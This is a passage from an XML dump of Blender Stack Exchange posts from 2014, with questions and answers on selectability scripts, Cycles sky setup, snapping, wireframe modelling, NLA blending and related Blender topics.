  <row Id="6793" PostTypeId="2" ParentId="6786" CreationDate="2014-02-05T20:23:21.037" Score="4" Body="&lt;p&gt;&lt;kbd&gt;RMB&lt;/kbd&gt;&lt;em&gt;&gt; Copy To Selected&lt;/em&gt; works here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The objects must be selectable and selected for this to work, but I'm not sure there is any way to do this without those requirements without using python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a quick hack you can do using python:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;unselectable_objs = []&#xA;for obj in bpy.data.objects:&#xA;    if obj.hide_select == True:&#xA;        unselectable_objs.append(obj)&#xA;        obj.hide_select = False&#xA;&#xA;print(unselectable_objs)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will print an array of all the objects that are unselectable to the terminal, as well as enabling selectable for all objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the objects you want to change the visibility of and use &lt;em&gt;Copy To Selected&lt;/em&gt; to set the visibility settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now run this, setting &lt;code&gt;unselectable_objs&lt;/code&gt; to the array which was printed in the terminal before to make your objects unselectable again:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;unselectable_objs = #array goes here&#xA;for obj in unselectable_objs:&#xA;    obj.hide_select = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-02-05T20:43:26.793" LastActivityDate="2014-02-05T20:43:26.793" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6794" PostTypeId="1" CreationDate="2014-02-05T20:52:14.857" Score="0" ViewCount="1393" Body="&lt;p&gt;What I want is to fly by an object, and once we are really close to it, slow down time to give a nice look (animation of the objects in the scene is also slowed down) and then move on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What this basically boils down to is this: we should have less frames per second at the 'slowed down' moment (less frames passing by in the same time means that the animation passes by slower) and then increase the fps afterwards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, how do I do that? Or are there other ways to do it easily?&lt;/p&gt;&#xA;" OwnerUserId="2322" LastActivityDate="2014-02-05T21:58:28.710" Title="Change animation fps at certain times (i.e. slow down the animation for a moment)" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ClosedDate="2014-02-05T23:40:24.423" ContentLicense="CC BY-SA 3.0" />
  <row Id="6795" PostTypeId="2" ParentId="6794" CreationDate="2014-02-05T21:50:05.067" Score="1" Body="&lt;p&gt;This won't accomplish &lt;em&gt;exactly&lt;/em&gt; what you want, but you could always simply animate as usual, and then stretch out your IPO curves in the editor evenly so that, even though the FPS stays the same, the animation appears to slow down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Added bonus: the change can be gradual if you use this method).&lt;/p&gt;&#xA;" OwnerUserId="2371" LastEditorUserId="2371" LastEditDate="2014-02-05T21:58:28.710" LastActivityDate="2014-02-05T21:58:28.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6796" PostTypeId="1" AcceptedAnswerId="6818" CreationDate="2014-02-05T22:32:03.277" Score="2" ViewCount="25301" Body="&lt;p&gt;So I am rendering a scene with a train and landscape. I want to render the train separately from the landscape, since it is too extensive on my computer. The down side is that the train wont render with shadows on the landscape. Is there a way to render the landscape with shadows already on it? Any help is appreciated. I am using cycles.&lt;/p&gt;&#xA;" OwnerUserId="2358" LastActivityDate="2014-02-07T10:33:11.197" Title="How to render a shadow without the object in the scene" Tags="&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6797" PostTypeId="2" ParentId="5883" CreationDate="2014-02-05T22:42:21.013" Score="4" Body="&lt;p&gt;I had this exact same problem a couple of months ago.  The solution irc provided to me was to create a full curve and animate the End Bevel Factor.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/0Lv8h.png&quot; alt=&quot;End Bevel Factor on the properties of the curve data&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The beginning of your curve is bevel_factor=0.  The end of your curve is 1.0.  I am pretty sure it maps from the bevel factor to the index of a control point. So if your curve has 11 points (0..10), then bevel 0.3 will include control points (0..3) .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider carefully if you want to animate it with a linear animation curve or the default bezier curve.&lt;/p&gt;&#xA;" OwnerUserId="660" LastEditorUserId="660" LastEditDate="2014-02-07T18:53:09.877" LastActivityDate="2014-02-07T18:53:09.877" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6798" PostTypeId="1" CreationDate="2014-02-06T00:08:52.030" Score="2" ViewCount="318" Body="&lt;p&gt;I have a model with only 98 vertices. When I export it to Collada with Blender 2.64, it generates a Cube_001-mesh-map-0-array with 768 entries, that is, 384 UVs. I've checked the UV map, but it doesn't complain duplicates, so I don't understand why...&lt;/p&gt;&#xA;&lt;p&gt;I tried updating Blender to 2.69 and now it got worse. When I export it now I get 1152 entries, 576 UVs.&lt;/p&gt;&#xA;&lt;p&gt;Is this the expected behavior? I am trying to keep the vertex data to a minimum for my game, but this doesn't help...&lt;/p&gt;&#xA;&lt;p&gt;Edit: I just realized that the difference between 2.64 and 2.69 is that now all the polygons are triangles instead of quads, so it seems it adds more UVs to cover them... But I debugged it and there are many duplicated UVs. Shouldn't it just point to the same UV index, instead of duplicating them?&lt;/p&gt;&#xA;&lt;p&gt;Edit2: I created a ruby script to remove the redundancies: &lt;a href=&quot;https://github.com/endavid/headerify/blob/master/bin/headerifyCollada.rb&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/endavid/headerify/blob/master/bin/headerifyCollada.rb&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2373" LastEditorUserId="84799" LastEditDate="2020-09-23T00:27:17.203" LastActivityDate="2020-09-23T00:27:17.203" Title="Collada exporter generates too many UVs" Tags="&lt;uv&gt;&lt;export&gt;&lt;collada&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="6799" PostTypeId="2" ParentId="6786" CreationDate="2014-02-06T00:21:50.347" Score="7" Body="&lt;p&gt;The outliner is written in C, and not much is exposed to Python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The operator that toggles the (render-)visibility or selectability is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.outliner.object_operation()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Possible arguments for the &lt;code&gt;type&lt;/code&gt; parameter are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;('SELECT', 'DESELECT', 'SELECT_HIERARCHY', 'DELETE', 'TOGVIS', 'TOGSEL', 'TOGREN', 'RENAME')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you see, there are only toggles. Someone had to add some to only turn on or only turn off all pre-selected items (would unify the settings). Seems like a simple C task, but not sure how to do the interaction with the user...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wouldn't make much sense to clutter the right-click menu with&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Toggle Visible&lt;br&gt;&#xA;  Make Visible&lt;br&gt;&#xA;  Make Invisible&lt;br&gt;&#xA;  Toggle Selectable&lt;br&gt;&#xA;  Make Selectable&lt;br&gt;&#xA;  Make Unselectable&lt;br&gt;&#xA;  Toggle Renderable&lt;br&gt;&#xA;  Make Renderable&lt;br&gt;&#xA;  Make Unrenderable&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Hotkeys should work well however, &lt;kbd&gt;Shift&lt;/kbd&gt; + R/S/V to turn all on, &lt;kbd&gt;Alt&lt;/kbd&gt; + R/S/V to turn all off. &lt;kbd&gt;Ctrl&lt;/kbd&gt; + ... wouldn't work, 'cause &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; is globally for save .blend.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I duplicated the toggle code and changed it to set visibility/selectability/renderability. This means you can switch each of them on, just like you would toggle them. If you want to turn them all off, turn them all on, then toggle to invert. Benefit: 3 operators / entries in the right-click menu less.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might make sense to refactor the code and have only one operator each (so 3 in total) + an enum to turn on, off or toggle. I would still add turn on and toggle to RMB menu only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Diff: &lt;a href=&quot;http://www.pasteall.org/49381/diff&quot; rel=&quot;noreferrer&quot;&gt;http://www.pasteall.org/49381/diff&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Windows 64bit build: &lt;a href=&quot;http://graphicall.org/1101&quot; rel=&quot;noreferrer&quot;&gt;http://graphicall.org/1101&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2014-02-09T23:34:47.740" LastActivityDate="2014-02-09T23:34:47.740" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6800" PostTypeId="1" AcceptedAnswerId="6801" CreationDate="2014-02-06T05:08:36.537" Score="25" ViewCount="89471" Body="&lt;p&gt;Im still taking baby steps with Blender (2.69)&#xA;I was hoping to add a sky to my scene using the settings mentioned &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Lighting/Lamps/Sun/Sky_and_Atmosphere&quot;&gt;in the help.&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a sun lamp in my scene, but I cant spot where the options are for adding sky and atmosphere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this is a basic question, but can someone point this out for me and provide some steps on how to add a sky to a scene?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/m1k8z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2354" LastEditorUserId="599" LastEditDate="2014-02-06T05:20:42.463" LastActivityDate="2018-06-27T11:08:04.957" Title="How to add a sky in cycles?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="6801" PostTypeId="2" ParentId="6800" CreationDate="2014-02-06T05:20:19.133" Score="25" Body="&lt;p&gt;In Cycles the settings for a background do not work the same as BI.&lt;/p&gt;&#xA;&lt;p&gt;Add a &lt;em&gt;Sky Texture&lt;/em&gt; in &lt;em&gt;Properties &amp;gt; World&lt;/em&gt; if you want an automatically generated sky, or use an &lt;em&gt;Environment texture&lt;/em&gt; for using an HDR image as the sky.&lt;/p&gt;&#xA;&lt;p&gt;To &amp;quot;connect&amp;quot; a node to the &lt;em&gt;backround color&lt;/em&gt; from the &lt;em&gt;properties editor&lt;/em&gt;, click the little dot next to the color field, then select the type of node:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qTghG.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Note that you will have to manually align it to your sun lamp, or try &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/3D_interaction/Sun_Position&quot; rel=&quot;noreferrer&quot;&gt;this addon&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The best technique I have found for manually aligning the sky texture is:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select your lamp and press &lt;kbd&gt;.&lt;/kbd&gt; and then &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Numpad 7&lt;/kbd&gt; to align the view looking straight into the lamp:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/K2yF9.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure you are in perspective view (&lt;kbd&gt;Numpad 5&lt;/kbd&gt; to toggle) and enable viewport rendering (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click and drag on the sphere in the sky texture node settings to rotate the sky texture until it is lined up with the view:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/esm3Y.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-02-06T19:11:34.957" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6802" PostTypeId="1" CreationDate="2014-02-06T05:35:50.677" Score="6" ViewCount="2210" Body="&lt;p&gt;Does anyone know if there is a way in Blender where you can arrange models in such a way that the don't pass through each other? I realize in animations you can have collision detection but is it possible in static image. Such as putting fruit in fruit bowl and having some sort of collision detection.&lt;/p&gt;&#xA;" OwnerUserId="2084" LastEditorUserId="12" LastEditDate="2014-02-17T00:31:58.867" LastActivityDate="2014-11-23T06:19:25.133" Title="Surface detection" Tags="&lt;modeling&gt;&lt;rigid-body-simulation&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6803" PostTypeId="2" ParentId="6802" CreationDate="2014-02-06T06:50:23.720" Score="10" Body="&lt;p&gt;Aside from using physics to arrange objects (which is a common practice, there is nothing wrong with doing that), you can use &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Snap&quot; rel=&quot;noreferrer&quot;&gt;Snapping&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several ways to snap the surface of one object to another object:&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Snap_to_Mesh#Transform_Snapping&quot; rel=&quot;noreferrer&quot;&gt;Transform Snapping&lt;/a&gt;:&lt;/h1&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable snapping &lt;em&gt;3D view &gt; Header&lt;/em&gt; by pressing the magnet icon, and set the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Snap_to_Mesh#Snap_Element&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Snap Element&lt;/em&gt;&lt;/a&gt; to &lt;em&gt;Face&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z1AVb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now when you transform an object, it will snap to the surface of whatever object is under your cursor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eeF0n.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Note that you can enable or disable snapping (depending on if it is already enabled in the header or not) during transforms by holding &lt;kbd&gt;Ctrl&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Snap#Snap&quot; rel=&quot;noreferrer&quot;&gt;Snapping with the 3D cursor&lt;/a&gt;:&lt;/h1&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Snap the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects#Object_Centers&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Origin&lt;/em&gt;&lt;/a&gt; to the point on the source object you wish to snap to the target object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either move the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Pivot_Point/3D_Cursor&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;3D cursor&lt;/em&gt;&lt;/a&gt; by clicking on the object with &lt;kbd&gt;LMB&lt;/kbd&gt; when &lt;em&gt;Cursor Depth&lt;/em&gt; is enabled in &lt;em&gt;User Preferences &gt; Interface &gt; View Manipulation&lt;/em&gt; With the source object selected, or enter edit mode (&lt;kbd&gt;Tab&lt;/kbd&gt;) and select the element you wish to snap to the 3D cursor and press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;&lt;em&gt;&gt;Cursor to Selected&lt;/em&gt;. Then press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;&lt;em&gt;&gt;Origin to 3D cursor&lt;/em&gt; to move the origin to that element:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SASDm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Move the 3D cursor to the surface of the target object either by selecting a geometry element (vertex, edge, face) on the target and pressing &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;&lt;em&gt;&gt;Cursor to Selected&lt;/em&gt;, or again by clicking on it with &lt;kbd&gt;LMB&lt;/kbd&gt; when &lt;em&gt;Cursor Depth&lt;/em&gt; is enabled in &lt;em&gt;User Preferences &gt; Interface &gt; View Manipulation&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EyCQz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;With the source object selected in &lt;em&gt;Object Mode&lt;/em&gt;, press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;&lt;em&gt;&gt;Selection to 3D cursor&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NMGr4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can then reset the origin of your object by pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-02-06T07:17:30.503" LastActivityDate="2014-02-06T07:17:30.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6804" PostTypeId="1" CreationDate="2014-02-06T07:27:33.890" Score="4" ViewCount="409" Body="&lt;p&gt;As UI/design inconstancies are not considered bugs (rightly so), they are off topic on the bug tracker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a place where these sorts of things can be reported and discussed? &#xA;Or a place to write issues/ideas where the &lt;a href=&quot;http://www.blendernation.com/2013/11/18/blender-foundation-announces-user-interface-team/&quot; rel=&quot;nofollow&quot;&gt;new UI team&lt;/a&gt; will read them?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="1363" LastEditDate="2014-02-06T17:29:07.387" LastActivityDate="2014-02-06T20:27:04.680" Title="Where to report and discuss UI &quot;bugs&quot; and inconstancies?" Tags="&lt;interface&gt;&lt;documentation&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6806" PostTypeId="1" AcceptedAnswerId="6809" CreationDate="2014-02-06T08:29:21.343" Score="3" ViewCount="1259" Body="&lt;p&gt;I came across this 3d printed item on shapeways, I was wondering how to model this wired design on Blender 2.69. I am fairly new in modelling on blender. Kindly give me one or two pointers.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/rhizb.jpg&quot; alt=&quot;Wired Design&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NRfq8.jpg&quot; alt=&quot;Wired&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2378" LastEditorUserId="14" LastEditDate="2014-02-06T13:19:40.187" LastActivityDate="2014-02-06T13:19:40.187" Title="3D modelling Wired Designs" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;3d-printing&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6807" PostTypeId="1" CreationDate="2014-02-06T08:31:59.117" Score="3" ViewCount="332" Body="&lt;p&gt;When I add two action constraints to each bone in an armature, they combine as expected and as described in the wiki, that is, translations are added, rotations are &quot;added&quot; (whether Euler rotations or Quaternions, I have not tested Axis-angle), and scales are multiplied. To me, this seems like what it's doing is multiplying the transformation matrix of the base armature by the transformation matrices of the two action constraints.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When placing one NLA strip above another, which both operate on the same set of keys, the only options I can find for blending the two strips are Replace, Add, Subtract and Multiply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add works for Euler rotations and translations. It doesn't work for scales, because adding scales of, say, 1.1 and 1.1 gives 2.2, which is not what two scales of 10% each should do, so scales need to be blended using Multiply. Similarly Multiply doesn't work for Euler rotations and translations, so it looks like actions have to be split into the channels that need to be combined using add, and the channels that need to be combined using multiply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Worse, Quaternion rotations don't seem to combine well at all with any of the blending options (except of course replace), as adding or multiplying the components of a quaternion rotation doesn't really have any relation to something an artist might want to do (and will be normalised again before they can be applied anyway). Even a single NLA strip with quaternion rotations set to add doesn't work as expected, because it appears to me that it just adds the quaternion components to the &quot;no rotation&quot; quaternion (1,0,0,0), which doesn't give the desired result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my main question is, is there another way to blend two NLA strips using the same method two Action Constraints are blended? This appears to me to be combining them by multiplying their full transformation matrices, not just adding or multiplying the components which the NLA editor appears to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there isn't, I guess the work around would be to always use Euler rotations, and split every action into two actions, one that gets combined by multiplying (scales and perhaps some 1-0 switches and other properties), and one that gets combined by adding (translations and Euler rotations). Quaternion rotations will just have to be avoided.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is the case (and maybe I should make this a separate question?) is there any way to combine two NLA strips into a meta strip that spans more than one track? I can only see ways to combine NLA strips as a meta strip in sequence on the same track, which is of no use for recombining strips that have been split into their add and multiply components.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Of course if there's no way to do either of these then this will of course turn into a feature request, which is not what this site is for, so I'd be very happy with just an answer of &quot;No&quot; or &quot;Yes, you can do it like this...&quot;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your time!&lt;/p&gt;&#xA;" OwnerUserId="2377" LastActivityDate="2014-02-06T08:31:59.117" Title="Can NLA strips be combined by transform matrix?" Tags="&lt;constraints&gt;&lt;nla-editor&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6808" PostTypeId="2" ParentId="6806" CreationDate="2014-02-06T08:36:56.717" Score="6" Body="&lt;p&gt;You can use the new &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Wireframe&quot; rel=&quot;noreferrer&quot;&gt;Wireframe modifier&lt;/a&gt;&lt;/em&gt; to do this. It will convert edges into solid geometry:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5cFy2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ne7fY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can use the old &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.64/BMesh#Wireframe_Tool&quot; rel=&quot;noreferrer&quot;&gt;Wireframe&lt;/a&gt;&lt;/em&gt; tool:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select your mesh and enter edit mode (&lt;kbd&gt;Tab&lt;/kbd&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select all (&lt;kbd&gt;A&lt;/kbd&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;F&lt;/kbd&gt;&lt;em&gt;&gt; Wireframe&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-02-06T08:47:24.807" LastActivityDate="2014-02-06T08:47:24.807" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6809" PostTypeId="2" ParentId="6806" CreationDate="2014-02-06T08:38:57.817" Score="0" Body="&lt;p&gt;You could start by modelling the wire shape, then using a Skin modifier to turn the edges into solid geometry that could be printed. I've seen the Skin modifier used to make basic figures based on a skeleton, and it works on the default cube, but when I just tried it on a Monkey, blender crashed for me, so make sure you save your work before you attempt to use the modifier!&lt;/p&gt;&#xA;" OwnerUserId="2377" LastActivityDate="2014-02-06T08:38:57.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6810" PostTypeId="1" AcceptedAnswerId="8422" CreationDate="2014-02-06T08:39:56.433" Score="6" ViewCount="1750" Body="&lt;p&gt;How can I set a camera projection matrix? I want to render a perspective like the old SimCity 1989:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://upload.wikimedia.org/wikipedia/en/b/b0/SimCity_Mac.png&quot; alt=&quot;image description&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2239" LastEditorUserId="14" LastEditDate="2014-02-06T13:22:40.637" LastActivityDate="2014-05-08T19:02:15.480" Title="How can I set a custom projection matrix for rendering?" Tags="&lt;rendering&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="8" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6813" PostTypeId="1" CreationDate="2014-02-06T09:34:57.697" Score="0" ViewCount="853" Body="&lt;p&gt;I'm new to blender and am trying to attach rigify to my model, but it is not working. When ever I attach the mess to the rig weird things happen, I can't see all of the mess and my model is all messed up. Also, when I take bind to vertex groups off in the armature modifier the model goes back to normal. But, then i cant animate it! This is what happens:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LP7mk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2379" LastEditorUserId="14" LastEditDate="2014-02-06T13:21:25.490" LastActivityDate="2014-03-03T01:01:40.443" Title="Blender rigify problems" Tags="&lt;animation&gt;&lt;rigify&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6816" PostTypeId="2" ParentId="6802" CreationDate="2014-02-06T10:07:01.120" Score="2" Body="&lt;p&gt;You can always use a Rigid Body simulation for placing objects when it's inconvenient to do it all manually. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a simple setup with a bowl set to be a passive object with some balls set to be active.&lt;br&gt;&#xA;Something to note is that for complex objects, the collision will be most accurate with the Shape set to type -&gt;Mesh&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some images that show mostly default settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MrwNb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/u1RJp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And a quick animation of the result. Cuckoo for Cocoa Puffs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1f1qv.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2014-11-23T06:19:25.133" LastActivityDate="2014-11-23T06:19:25.133" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
